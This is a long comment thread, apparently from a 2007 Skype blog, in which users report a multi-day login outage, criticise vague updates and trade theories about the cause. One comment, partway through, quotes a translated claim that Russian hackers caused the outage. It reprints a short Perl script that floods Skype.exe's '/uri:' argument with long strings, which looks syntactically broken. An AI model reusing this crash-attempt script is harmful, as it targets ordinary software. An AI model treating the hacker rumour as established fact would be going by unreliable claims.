well, russian hackers think otherwise, there is even proof: http://www.xakep.ru/post/39746/default.asp

to my ears that does'nt sound too enthusiastic, does it?
13:00 Austria still offline......why the hell did i buy this skype-phone 2 days ago...

Could you perhaps give us more information about what caused the fault. This is the way to keep customers happy. Don't you appreciate when an airline company takes the time to explain why the flight is delayed. Give us a little more info...

I just got off phone with my wife who is in Shanghai and they are still down, Look at the users on line only 2.5 million, normally this time there is over 8.5 million users on line. Keep up the work guys and get Shanghai back to us please

Two years of great service can not be forgotten for one major glich.
mobil1998, NJ-USA

I'm a user of Skype in China.

I'm not a frequent user of Skype.

I found problem since yesterday. I could sign in, but not get online.

Today it's getting worse, I can not sign in!

Then I realize something must happen to the Skype service.

Then I get on the Skype site to find why. I will wait until more information released.

1315 here in Italy and my phone has remained green for over an hour now. If the problem is solved, thanks so much for all your hard work!!! I appreciate it!

Well here in NZ, I still can't sign in... of course, being out in the middle of the ocean with crap technology and a monopoly telecom kicking about being forced to give it up....

road to recovery...... not out of the woods yet........better shape now than yesterday....???
please if you are not gonna give some real information just say that more than the 75% cant logging and that you have no idea what the problem is, be honest man. the other post i read said something like "i feel that we are closer to the problem"... how do you mean that, spiritually??

What's all the panic? This compulsion for worldwide communication mostly consists of rather meaningless bits of info in return for other equally meaningless bits of info. Relax. Take it easy....enjoy the break.

great all austrians in korea are offline as well hope it will change very soon

by the way i just want to call my famely
so please try to find the error

continue with your hard work guys. I am behind you.

..empty words, europe is still all over out.. but that's typical..should have thought about launching the skype pro thing if you cannot maintain skype properly...

road to recovery...... not out of the woods yet........better shape now than yesterday....???

I completely agree with Ernesto Durand ! That's typically rubbish information and a complete lack of "transparency" !

You have a real communication problem, man.

Hi, you said it is better than yesterday. What is better? It only sign me on for few seconds and after the problem is back.Thas should be the improvememnt? I am just wondering how long will the problem persist. I hope that until evening it will be sorted out as it is my only way how to be in touch with someone for me very important.

Anyway thanks for your effort

I'm Glad Sten and Villu are seeing signs of "recovery" and "stability" here in Australia we are not. About 12 hours ago it went green for a few minutes and showed only 10,000 of the ususal 6-9 million users online. As seems to happen with Skype it still shows the Test call as being online for some reason. Seems to often show people online then when you try to call it changes them to offline.

Nice to hear the Skype team are doing all they can and I appreciate it. I also appreciate the term Debugging. I can't immagine this could happen without outside intervention, either that or a disgruntled employee. With news of the skype protocol and encryption being hacked and the like, perhaps it's time Skype opened up it's software to those who can better apply it.

I guess now is a good time to try alternative providers even if it does mean buying call-out credit from them too, might allow Skype time and bandwidth to fix the "software error"

You can better dispel theories by producing facts.

Don't get me wrong, I appreciate the efforts of the workers, just seems the corporation and structure has let them down by not preventing this problem.

So thankyou Skype team, hopefully your able to fix the bug and let us know the facts behind this problem shortly.

stop whining people and give them a break. they are working hard to fix it and whining won't help. i don't see one useful comment above. talk about what matters and stop complaining

Why we all use Skype? Because it helps us to communicate with each other the easy way.

I agree that Skype as a company is simply getting into a PR-desaster caused by unresponsible communication tactics.

"Finally, we’d like to dispel a couple of theories that we are still hearing"

Then tell us what was happening: as detailed as possible. Your explanations have been very confusing up to know. The second day with no improvement is very frustating even if you don't pay for the service.

Personally I'm going canoeing for the weekend without any internet connection so I'm quite relaxed

5h after mais first message this morning: Paris keeps with the same problems. Keep working people! Thanks a lot!

To all colleagues, contributors of this blog and users of Skype : please, realize that the problem is the same for everybody! it is completely meaningless to repeat on and on again that you cannot connect. Nobody can connect! Just drop messages that can help the Skype guys to sort out the bug. It is also worth noting that the bug is not a problem of Windows XP...I have the latest Mac and the last version of Skype. Do not worry about the Skype people, they will deal with the problem. They are not crazy to loose millions of Skype users! So please, stop with bulshits and try to help! Thank you a lot!

Here is a translation from the Russian site:
--------------------------------------------

The reason for yesterday's fall network Skype study Russians were hackers, told us one of the readers.

During the search of local buffer overflow was discovered to send a long line of server and overtax its clipboard, which resulted in the fall.

It took another server of P2P networks and as it is a mistake, and so forth. In a few hours the entire network Skype came to a denial of service and the team was forced to disable authentication.

The code that exploits it looks like this :

#!/usr/bin/perl
# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!

for ($i=256; $i>xCCCCC; $i=$i+256)
{
$eot='AAAA' x $i;
call_sp();
}
exit;

sub call_sp()
{
$str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";
system("$str");
}
Tags : Skype, hacking

Here in Atlanta Georgia, United States, I have experienced log in problems since late Wednesday night. It is now Friday morning and I continue to experience, what appears to be authentication problems. One minute I am logged in the next minute I am not. The only improvement I have seen since Wednesday is that Skype comes up and down more times during the day. Sure hope you guys can get this fixed since I have come to depend on Skype a lot and can't use it at all in its present condition. By the way I heard from and IT friend of mine that both Verizon and AT&T apparently had major outages Wednesday and Thursday; my fried is pretty reliable since he is network supervisor for a major online stock trading company. Hope you get this fix, I need my Skype back.

Finland 15.25

Still grey. Some green moments during the day.

still green then grey then green etc here in washington BUT my girlfried in finland and could talk IF we were both green at the same time....

czech republic is still offine:-(

While s** happens, for me the lack of a backup server or the inability to switch back to an older version, is HIGHLY unprofessional.

Good morning Villu,
Here in CT, USA just got back on again. thank you for all of your hard work.
and life without skyping is not quite the same.
i guess i love you.

Thanks for fixing it guys. be waiting for skype to come on. keep up the hard work! Altough its still gray in Amsterdam. Hope it will come back online soon enough.

Hongkong likely still have problem

I appreciate your frequent updates. It keeps me from thinking it's my fault. (I'd hate to be the person who just signed up for Skype - mabe it's your fault - just kidding)

Hey Macedonia,Serbia ... Balkan is off...I miss my skype and I wish you quick recovery...

Italy - I've been green for almost 3 hours straight now...on my phone. Can't sign in on my computer. Skyped a friend in Greece phone to phone; he has the same computer sign in problem. I had pretty much switched to the phone a week or so ago, so the computer sign in is not a big deal right now. Thanks again for working so hard to fix these problems.

Well it is great you are apparently working on the problem but i agree with many of the above posters that all the glib catchphrases you are using don't inspire confidence. If you konw, or don't know what the problem is then say so. Also some indication of when the problem will be fixed would be good...the original 24 hours is long gone!

On a different note....if ppl are frustrated that they can't contact other ppl, that is understandable but remember it wasn't THAT long ago you wouldn't have even had the option of webcomms. Enjoy the technology, but don't be slaves to it...

Well, here in the Catskill Mountains we are experiencing the same SKYPE woes. Gopsh I miss you. When I first learned of Skype two years ago I threwaway all my other phones- Now I am lost in the mountains. Thanks to the blog- I know I am not alone. Thanks for working so hard, Skype- please come home soon ( and send $!!!)lol

Almost 3 millions people online, my contact list is about 7 times greener than it was this morning (I'm in Europe, Latvia). Life's good!

Btw, I seriously doubt that peace of H4X0rZ's code posted above and on several other websites would even work, not even to mention about crashing SuperNodes with it. Pfft..

In Skype we trust!

The UK is still offline too.How is possible that some places working and rest of the world is cut off?

I have been using Skype for two years and I have 172 contacts which cover all the people I call. I hope that you can get Skype up soon here in FL. I use Skype for almost all my calls. I have stripped my hard wired phone service down to nothing because I prefer using Skype with a comfortable headset rather than holding a phone to my ear. The headset has a volume control which makes it even better. I was most frustrated because I spent almost 12 hours on 8/16/07 on my computer waiting and hoping that Skype would come up. With no way to communicate the problem to Skype and no knowledge of what was being done to solve the problem I was more frustrated then I can describe in words. I hope Skye has learned a lesson from this problem and makes improvments to prevent anything like this from happening again. Also I would greatly appreciate it if you setup a phone contact syetem. I called Ebay twice yesterday and was very upset when they would not allow me to talk to anyone unless I had a name.

Still experiencing intermittent service in the Eastern United States. More down than up.

Still down here in remote Island Pond, Vermont, US. It's been at least 24 hours. Still, I appreciate the effort you've made to keep us informed. When you get the problem resolved it would be nice if you would be a little more specific about the problem and its solution. On the whole, I think Skype is a very useful system which is probably one reason people are complaining about not having it available. Ah, I just went green. Ciao

The problem started the moment I loaded the latest Windows updates on the evening of 15th. I have now un-installed these, and Skype is fine. Thanks Microsoft!

Bummer. Just went down. That was about 1 minute of up time. Have you tried rebooting? That's what "they" always tell me to do. Just kidding... By the way, did you write the software? What OS are you using? Linux? Solaris?

Hi all.
We are not able to connect either down here in Santo Andre, BRAZIL (due to the size of our country I couldn't tell about other regions). In fact there are very few seconds of connection and then the twirling gray skype takes on.
Are we doomed!

Hi All,
sunny Isle of Man is intermittent, but Mobile, Landline, MSN/Yahoo still ok, so, we can ALL still contact each other......... I'd Rather be Skyping! Good Luck all, have a good weekend!

People, just stop complaining. No, it's probably not skype pro's fault that skype is down 99% of the time. All we know is that its a software issue. Stop blaming them that its down. You think THEY want it down? Every minute you people who pay to other phones and such, they get more money, and every minute they're down, they're losing some profit. What company wants lost profit? None. Also, stop your whining that you use skype to contact others and acting as if theres NO other way to contact them. If your doing computer to computer, use e-mail, instant messaging, or ANOTHER program (Though none really compare to skype). If its computer to phone, Then use your damned telephone. Don't have one? use that money your that you use on skype to buy a phone card! We aren't ancient technology people, and we all have fall backs. So use them.

Anyway, a tip for those who CAN connect to skype and keep a phone call going, (yes it does happen, all depending on luck) do NOT disconnect from skype until it disconnects you. chances are, you won't reconnect. If you try calling someone and it says "User not found", don't bother. its completly down.

Stop being ungreatful. Be glad they're even working on it and keeping us informed.

May have nothing to do, but last thing I have noticed on my computer before Skype fell down was a big Microsoft Security Update automatic installation & reboot. I can not bet it 100% but Skype was still working till few seconds before the last final Microsoft update reboot.
Microsoft may have changed something on TCP protocols to protect from vulnerability and this unfortunetaly causes a side effect on Skype client when it calls the remote server, causing a server crash.
Skype Team, please check....

Tried for the longest time yesterday to connect. Wife was going crazy. I would suggest that Skype advise its users via a banner message when there is a problem.

Hi, Skype people: 50 minutes without lossing connection; here from Paris I've even called Brazil that was also having problems since yesterday. The chat was very fine. E.T. I've just downloaded the Skype 2.7 for Mac (released 2 days ago) that works really fine and without any external microphone! Hope it keeps working. Thank you "Skype team", I hope you got the problem sorted out!

Here in Spain the problem is still intermittent - I had green online status for an hour now it has gone grey again. All technology has problems from time to time but when we are told 12-24 hours then it takes almost 48 is just not acceptable. I use Skype to contact family abroad and for business; not being able to receive or make calls to clients costs money and loss of business. We all pay Skpe In and Skpe Out rental for a service that should not be interrupted. The largest concern is that this may happen again and the non tecnical cliches that the technical team post to instil confidence in Skype makes users more furstrated, when all we need to hear is the technical reasons this has happened. For those that say a contingency plan or 'Plan B' should be in place for business users...perhaps; but if peple have a BT landline and pay a monthly line rental and they cannot make calls for almost 48 hours, would that be acceptable? Please fix this problem immediately and keep it fixed Skype or you will lose many customers.

i'm sorry to tell you this, but it's even worse. If a few hours ago i could hardly log in, now it's impossible.Here in Romania at 5 p.m. things are worse and worse. Hope you'll fix it soon.Good luck, but i'm still angry.

Hello. I just thought I'd mention that my skype worked great right up to the last second just before I installed Microsoft Windows latest security update. After that, it all turned to mush. My partner's skype did the same thing just after he installed the window's updates as well. Maybe the update wasn't compatable with skype (the newest version and previous) and has caused a conflict. Just a thought.

I'm a user of Skype in Brazil.
I'm a frequent user of Skype.
I found problem since yesterday. I could sign in, but not get online.
Today it's getting worse, I can not sign in!
What a hell is going on with the service?

I'm a user of Skype in Brazil.
I'm a frequent user of Skype.
I found problem since yesterday. I could sign in, but not get online.
Today it's getting worse, I can not sign in!
What a hell is going on with the service?

Hi all, appreciate all the hard work at getting skype back online....
In South Africa unfortunately I am still not able to connect...I can login, but can't connect....Any updates for us on this side of the world?

Eastern Canada: We've been down for most, if not, all of Thursday and so far, all of Friday. It's now 10am. Its nice to know that the Skype team is working on the problem and you efforts are appreciated but, hey, lets post some real info on the problem, not this touchie feelie mush about 'on the road to recovery' 'skype is stabilizing' 'not out of the woods yet' 'better shape now then yesterday'. From my prespective, if I can't sign in today and couldn't sign in yesterday, that is pretty much the same 'shape', wouldn't you agree?

The problem is not only that Skype is down, much more severe is the fact that the Skype company doesn't treat its customers (paying or not) as equal partners, then as children: first denial of any problems, then only fairy-tales, like "we’re not out of the woods yet, but we are in better shape now ...".

It's frustrating to see all these running services (Skype-In, Skype-Out etc.) on the Skype "heartblog" site; you can't use them if you can't login !!!!

There's no clear, objective or businesslike statement within 36 hours by the Skype company that earns so much money from its customers second per second.

Wake up, all claqueur customers !!!!

There are enough good alternatives in the web to stay in contact with your friends and for business. Try it now !

Skype user from Germany

Don't worry... They say at 11h GMT :
road to recovery... not out of the woods yet...better shape now than yesterday...

Isn't a wonderfull smoke screen ?

Wat a F.. This Shit in not working yet...... I am paying for ous SKYP IN and Skyp out but it dosent work.... and the skyp teem dos not inform os in any way... NO @mail ... no nothing..... POOR circumstanc..... You ar losing costomer..... GET THIS SHIT TO WORK PROMPT

Problems persists in all south-american and central american coutries...
Reporting from Venezuela and having partners with the same problem in Panama, Colombia and Argentina.
How long it is going to take, to fix the issue?
Do we need to switch to another VoIP system?

Thanks...

Still out in Hawaii, i con log in but not go online:(.

Skype was good....but there are now very serious security and privacy concerns with respect to it.

My apprehension is some patch being put in the Skype software to ensure evesdropping by intelligence organizations. Remember, the same security issues with blackberry....Any information passing through US means ...Game Over!!

Time has come for the internet to be owned by all countries equally and not a single country...and many services like Skype should come up.

From Greece: more than 24 hours offline, and still nothing.

totally same condition which is always connectting in the past 2 days in UK (isn't it tired?)...first met that.

Still out in the cold....
What compensation do we get for all "Call Forwarding"???
Is this maybe a way to get more money when we have to Forward our calls ??
MY money disappear while Skype certainly earn lots on money on Forward Call´s ....

A good link about the problem :

http://www.nytimes.com/2007/08/17/business/17ebay.html?_r=1&ref=business&oref=slogin

Belgium: more than 48 hours offline,still doesn't work.If I knew I'hadn't put some money on Skype out a few days ago!!!!!!

I use my computer and my Sony Mylo to call my Girlfriend in France. I miss you Skype! I thank you guys for telling us what is wrong!

I miss my friends!! ;

Thanks for the information, I miss my parents in Mexico, they have the same problem as well, hope today the system comes back )

Oh and by the way, US West coast, offline for almost three days. Sometimes if comes on, then off again. And my Mylo seems to work while the Skype client does not work on my PC.

From Bulgaria: More than 36 offline

Maybe the 3 people at Skype that actually understand the p2p technology they use are all on holiday?

> "i feel that we are closer to the problem"... how do you mean that, spiritually??

Too funny.

> "I seriously doubt that peace of H4X0rZ's code posted above and on several other websites would even work"

It runs just fine, but who knows what it does? Peace out

the amount of consternation and sheer bloody impatience displayed by the majority of your contributers simply demonstrates what a wonderful service you provide. i'm still offline and looking forward to being reconnected but am sure that you are all doing your damndest to help us. thanks for your efforts and don't worry too much about the petulant kids.

Yes, you are right I went green for 3 sec and it showed only 2 million people online.
Skype service is vital for me now, when I need it the most.
I hope the service will be fixed this day.

It is 2345 here in Singapore and there is no sign of improvement. It's a long and winding road to recovery.

Hello Skype Croatia Calling )
you are hidding something like snake her legs
What's the number of stuff inside of Skype org. I thought they are bigger

I Just joke, continue with hard work guys. Hope everithing is alright.

Over n Out.

Update us please. Something must have happened in 6 hours. If it is not fixed by tonight, I will try downloading Gizmo

it`s 11.53 AM in Boston and still there is no sign of any Skype signal. We all hope to see it back soon!

Georgia, Tbilisi is still offine:-(

New York Times has real information, not just blah blah like this blog:

"The Skype network uses a so-called peer-to-peer infrastructure, meaning that calls are routed through other users’ computers instead of a central hub. But it does have servers around the world, known as supernodes, that manage access to the network. A flaw in a crucial piece of software that connects users to these servers appears to have been the source of the problem.

Skype engineers said the flaw existed in every copy of the Skype software that had been downloaded since the service’s start in 2003.

Skype executives said they still did not know why the error, sitting dormant for four years, suddenly crashed the network. They cited problems with the Internet backbone in some parts of the world as a possible contributing factor."

TIP: Get some C-level people who have real information to write for this blog!

how the hell will that take to sort out this shit. It was said it would take 12 to 24 hours and it is still not working!! Last info was at 11GMT don't you think it is the highest time to give us some more info? It is not possible that for this long time there is nothing new.
I agree with the person who ask if we will get any compensation most of us have money in it so time to stop mess with us !!!!

come on guys i need to make an important phone calls plz fix it as soon as possibles

Hi to all. Here in Australia it's 12.15am on the 18th and still no 'green'. It is frustrating not to be able to contact someone when you want to and I guess it must just as frustrating for you guys at SKYPE. How we have come to rely on easy and fast global comms.
AS for the reasons for the 'outage'....They are a little weak! Alot more info please.
KEEP UP THE GOOD WORK

I keep reading and all I see is a bunch of people whinning and crying.. for those that want something for being down well, try to make your calls from a regular phone.. for those that are just crying about not being able to make calls.. oh well... I am in Iraq and using Skype to call my family.. been down 24 hrs. already.. these guys are busting their butts to get every body back up and running.. get off their butt's and let them do their work, worry about credit after it is back up and running..... from firedude33 doing time in Iraq........... later

Is it the Skype Pro thing? I signed up, my credit has been going down much faster since Skype Pro was launched.

To be honest I not greatly fussed by the outage, bit of piece and quite, but Skype Pro is really starting to bug me, can't even cancel the thing until my free time is up...

From a business point of view, having the communications down for well over 48 hours is bad news. Yes Skype is doing all they can, however at this point, its causing major disruptions and is becoming frustrating and irritating. It's obvious it continues to be an international problem, here on the West Coast in the United States, I am still down.. and just now at 0947 got a green light.. but how long will it stay green? Time will tell... Keep at it boys! I know you want Skype up and running and so do the rest of us.

Soloreo, United States

i think that we don't need skype any more, we could speak to each other on this blog. i'm pissed off!AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! I hate it! Do something!

well, great. so skype is still an improvement over the local telcom in Iraq. some of us spoiled civilians do have higher standards. Skype is not a charity organization bringing education to the blighter children of africa. it is a business, for christ's sake. in the past year, i have certainly paid skype in the hundreds of dollars and in return i do expect a level of service. and I damn well certainly have the right to complain when it doesn't . i understand that accidents happen. but here are ways I think that skype has (and continues to) perform poorly.

1) why were no emails sent as soon as they became aware of the problem? why is it up to the customer to figure out where the problem lies?

2) why do we have to wait till the story is in the NY Times to get a full (or fuller, anyway) explanation of what the hell is going on?

3) why was (is) the outside figure on the estimated time to fix the problem so way off? it's something like 30 hours here in Germany.(i tried uninstalling the latest windows security update. nothing doing. still gray and spinning.)

and please for gods sake change the tone of these bulletins. no one wants to hear your happy talk when your "problem" is of such a magnitude that it warrants mention in the paper of record. get real and get busy or in a year, skype might be the VoiP equivalent of Friendster.

Lets face it, skype must be in deep shit with this bug. I think its more serious than what they're telling us. Im glad now that i kept my landline!

Still nothing. How come some people can connect in the UK? I'm trying and still no sign of login. My patience has limits. Soon I'll buy international card and call my mammy from my mobile. Please, IT people do something asap, otherwise my computer will land outside my window. I know it's not a small problem with a software. U just don't want to worry us too much.

Two days without login in skype and two days without use skype in.
Increase of costs making international calls that were made by skype. Can not receive calls and can not see who call me ( or listen the messages ).
Please..could you be more specifics when the problem will be solved?
I read that skype is normal...normal where? In brazil we can not conect.

My girlfriend`s skype is now ok but my still is having problems...Hope you fix evrything here in Bulgaria.

now there is another stupid problem:i'm online-finally- but i can't send any message to my friends. They don't get my messages and vice versa.Hope you'll solve that problem, too. Thanks, anyway.

By the way, Denmark is still down. There has been a few short moments during the day where i had a green tick so its been no better than yesterday. I dont think windows updates caused this because my skype started to show falling out problems about 4 days ago. Ive reinstalled lots of older versions and they all have the same problem. I hope they get it working soon and good luck to them but in the meantime we can all use messengers phone if calling another pc, that seems to work fine.

Hey if you sign in to the website then try to sign on with skype it seames to work

markehrman

Fully agree, they are sitting between two chairs still talking hip and trendy as if it was a free service for teenagers (and some comments of users denote this) forgetting that they are chasing the business sector.

Those messages are a disgrace. Same tone when they introduced their connection fee.

They should take a cue from the businesses that failed when they were a quasi-monopoly as soon as competition starting knocking at the door.

We are based in CANADA and our real Communication with South Africa is via Skype. ‘Hanging tight’ how long still???? ‘Better then yester day’ it is actually no change from yesterday. I know that you are working on this, but a more precise update will do. Currently we see vague updates and experiencing no changes. Where are we standing in communication via skype from CANADA?????

Hi, I use skype free text & skype to skype calling to build an international business. I just placed skype as a tool to communicate with my overseas partners last week. Using skype over the weekend, one of my Australian partners and I worked together to help her win a company contest. She would not have won had it not been for the excellent service that skype provides. In any business - especially one dependant on machines or electronics - equipment will fail. Skype is handling this current issue with superior professionalism and vigor to remedy the problem. My hat is off to the technical team, I'm sure you'll have things worked out in a reasonable time. Keep up the great work.

fucking shit i can't skype my sexy baby in poland. fuck skype. shit shit shit.......... u know we just starting things.aaaaaaaaaaaaaaaaahhhhhhhh . pls come skype. time is fucking going.oooooooooo well shit happens i guess

i guess dats wat we get 4 puttig all our fucking eggs in skype. it gose skyping on us

FINALLY, I have connection! I luv all people in technical services of skype. I mannaged to call my sis and my mum, so I don't need card anymore. Thank u for hearing my desperate voice on the blog! I luv skype again. U saved my laptop from being thrown out down from the window.

In Eastern Finland I've been trying to set up a connection between two schools for teaching purposes. Unfortunately many lost working hours as I only found out about the skype problem this morning.All three computers neede to be connacted with eachother are occasionally online, but they show each other in offline state ,i.e. we cannot call eachother. Amount of frustration is very high. I need skype for my classes every week! We'll have to find another method of doing this and give up skype soon if no change. It did work for 10 or so minutes this morning.

tim.dreyer

Are you for real ? (over and above who mentioned the tech people who have nothing to do with interfacing with the client base).

Quote : Mark Main, senior analyst at Ovum in London.

"Up to a third of the affected Skype users could be in small businesses, Main estimates.

The outage is particularly frustrating for them because “Skype has no customer response team,” he said.

Skype will have to work hard not to lose the trust of such customers" (...)

http://www.macworld.com/news/2007/08/17/skypeproblems/index.php

The key issue is on of keeping your customers informed in a consistent and timely manner (say every 2 hours). People hate to be kept in the dark and will accept bad news such as the service being down for a lenghty time as long as they get regular news. Otherwise they will come up with all sorts of theories about what caused it and worry about the quality of support and management. They will get irritated and maybe look for alternatives to Skype. Once that happens the risk is that many customers may leave and just by word of mouth people will get the impression that the service is poor even if this situation has only happened once.

Skype now has a serious damage limitation exercise to conduct to convince customers to carry on using its services.

Good luck to them and I hope they learn a lesson in good customer relationship management. I am a longterm satisfied (until now) customer so make me satisfied again!

Skype is FABULOUS, and 1 single bad incident can't change this.
I'm using SKYPE since years and years, never had a problem, GREAT service for FREE. THANK YOU! And even though I'm a paying customer, I have total understanding that there has been this one incident in all these years! No problem, you go Skype! You are my favorite!
By the way, Comcast and others have MUCH more outages, even my phone land line was out for days, my dsl died on me, and so on...
If Skype has damage to its reputation then it is thanks to stupid articles on ZDNet and other panic makers!
Sincerely, Angela

WOW its online here in Denmark! But for how long i wonder? If its fixed then thanks but if its not then stop winding me up!

21:00 in Greece: If i shut it down and run it, it gets green (for 2-3 minutes), but can't call or be called.

Keep cool people. If you had writen to Skype support when you started to have troubles 2 days ago you would be able to receive a personal e-mail from them explaining the situation. If you are a real fan of Skype and need their services, please trust their team! they will solve the problem! Remember, some years ago...fax was an improvement in life...than internet...then mobile phone...then VoIP...can you be patient then? some hours without Skype will not kill you. They'll manage! Courage!

In my company a priority 1 (entire business is down) incident must be updated every 2-4 hours with an update and is usually resolved in under 4 hours. I love skype (also as a paying customer).
An outage this big needs a little more attention from the comms people, externally, and lots of attention from disaster recovery pros, internally. As long as skype implements lessons learnt and keeps the outage kpi's in the future under control, then all is well, otherwise their business will suffer (quite badly).

Well, it's 13:41 here in the mid US, still can't log on. I hope to be logged on by the time I get home from work. If not somebody go by and beat the servers into submission.....please!

it is 2:03 pm here in mississippi, though i've had problems logging on for almost 3 days now i really cant complain, Skype has been a fantastic asset to me so far. where else can you get the rates they offer!
Besides keep in mind everyone, even your local phone service and or cell service experiences ouages from time to time, (we are having such problems with our cable as i type. ) patience everyone they will correct the problem.

I don't know about anyone else but I have 2 computers running side-by-side on the same network. One has had complete access to skype all day. The other has not. The only difference between them is the computer with no access to skype has had the latest "security updates" from Microsoft Installed. Guess what! they were installed on wednesday. What a coincidence....

A further note. I closed internet explorer on the machine with no skype access and opened the windows task manager. Upder the processes tab i noticed that a internet explorer process running.....I stopped the process and a few minutes later my computer had full access to skype and has continued to have access since then.

Go check out your task manager and see if you get the same results. Looks like good old microsoft strikes again.

Why lie about US service? I am in the US and started having login troubles 30 hours ago. Yet, every news site including skype was reporting that the "US is not affected, Europe only". Am I the only US customer to have the outage?

Hi everyone.I'm from Bulgaria and I really like skype.It's very useful but this 2 days I cant sign in.OrI'm signed in but it says me that try to connect.How long time here will have this problem.It's really terrible.Some my friends r signing in at the momen and I cant.I know that I'm in the end of the world and my country isnt so popular like USA but,guys,help us from Bulgaria to be free too.Hope to be sign in soon.Bye

Gandhinagar (Gujarat, India) It's going to be very hard for SkyPe to recover. Hope the problem will be solved "SOON". really soon. Good Luck..

You guys have no idea how sad I am. Yesterday and today was the only two days I had to talk to my girlfriend. She is in another country and we were so happy she would stay two days in a place with internet so we could talk to each other... It has been over 48 hours and nobody fixed anything... What's up? Before today I always loved Skype and recommended to everybody, but now I am truly disappointed, truly disappointed. What is up with Skype? Is Skype illegal? If something went wrong, why didn't they simply return their software to an older version (but stable)? I am so sad...

I agree with a number of the above posts. At this point it's far better for Skype to give us regular updates as to the progress and more disclosure as to why. Hearing it in major newspapers, websites and at this point most likely on the 6 o'clock news tonight.. does nothing to help Skype or their customers. I too am a paying customer. I have used Skype for many years and have been happy. I am very disappointed in their handling, or should I say lack of handling, a problem of this magnitude. Skype, at the very least give us regular updates as to the progress. Its been well over 48 hours you have been down... how much longer is it anticipated? 48 more?

Soloreo, United States

The fact that the US has been affected has been widely reported - although I see as I am typing this, mirabile dictu, that my own service here in the Berkshire hills of western Massachusetts, at 1610 edt, 2010 GMT.
But the BBC doesn't seem to have covered the outage, which is a puzzle. The New York Times did, but then the Times covers most everything.

Thank you so much for trying so hard and for all the work you've done!

You have provided such great service the entire time and a mistake can happen to anyone...

But please, please, keep us updated - no matter what the status is, if it's good or bad - it's just nice to be updated...

Thank you so much for trying to fix this problem fast and for all the reports so far

-Petra

-THE BIG CONSPIRACY-
In all my anger and bitterness over the stupid breakdown I have made my own little theory. I think that all the big phone companies in the world have paid Skype to make a little breakdown, as I am pretty sure they right now are enjoying these hours and counting the extra profit they are making from me and I guess all the rest of you..

Okay I know that is a little fare out but in these dark or should I say grey times all the comments from you all make me smile a little.

Hope for all of us that these grey times will soon be over and we can once again talk to our love once.

Oh wow!! I just signed in right now!! Thank you so much!!

Keep on doing the great job.

Greetings from the Czech Republic,
-Petra

I dont get it. Its 2230 and Skype in south eastern Europe still dont work. Can someone tell me when will problem bee fixed.

HERE IT IS!!!! W O R K I N G!!! THANKS GUYS!!!!!

"Oh wow!! I just signed in right now!! Thank you so much!!"

This post and many others are seen in this thread. What I am curious to know is .. how many are signing in and staying on? I too have a few seconds or minutes here and there when I can sign on .. but I cant stay on.

Oh NOOOOOOOO! ITS NOT WORKING!!!! Come one people have mercy!!!

"how many are signing in and staying on"

oh ok...well, you were probably right... after a while it said I was offline. So I signed out and now can't get back in...

Oh well. I trust in them that they will fix it as soon as they can...

I was hoping those of you that said you were on .. were staying on for that gives me more hope that I am closer to being able to use Skype myself. This is becoming rough. I dont have a landline or a cell phone. Once again I implore Skype officials to keep us updated more often. The last "official" update I see is from 1100 GMT.

notworking in finland,

Friday 6PM in Brazilian time...still without use Skype in and out.
Two days lost

Um. My feeling is that your tech is not at all in control. If you want to persuade users that you are NOT going down the tubes, you need to issue more information. If you don't have this information, you need to admit that too. Sorry for your trouble, but you are not handling this well.

We're online over here in San Antonio, Texas at the moment... (happy)

huh.. the happy smiley isn't working...

First of all. My girlfriend is also abroad but ”luizconrado” I am really sorry to hear that these two days where the only two you could talk with your girlfriend for a long time. But think about what a story it will be when you as a granddad can tell your grandchild about that time where Skype was down and you and grandma could not talk for two days, I am sure our communication technology are so advanced on that time that two days will feel like two weeks in our time

Secondly. I am home on holiday here in little Denmark. we also have to computers running side by side and one have been online most of the day with a few fall outs where as the other just can't log on at all. both computers are my parents computers and I can promise you that they do not have the last updated version. So I wouldn't give much for the theory that it is the new version of Skype that is the problem. I have even been able to send SMS texts over Skype out on the computer that are online so it is not completely down

Furthermore I just want to say to you guys working night shifts at Skype HQ. I am sure many of us are happy that you are doing your best to get this up and running.

THANKS and lets all hope for a greener future

Was just talking to my Dad about skype being down for over 48 hours +. I have tried to convince my family members over the months to use Skype.. well this isnt helping. However he was suggesting perhaps Skype was going bankrupt also.. as did Rocket. That thought had not occurred to me .. hope he isn't close to being right. It appears I have been up and running on Skype now for about 15 minutes. Longest so far since its gone down. However no update yet as to if its been fixed completely.

Still working for us in San Antonio...

It's still working for me here in Idaho. However I cant make a test call. That is not such an issue to me.. but it tells me things are not working as they should be yet.

As there had been so many posting, I just like to advice to the busying guy at skype one thing. As I know, Microsoft will public and posting some patches to XP every 2nd Wednesday of each month, please check does there are possiblity any reason caused by that patching to Skype's normal operating. Thank for anyway!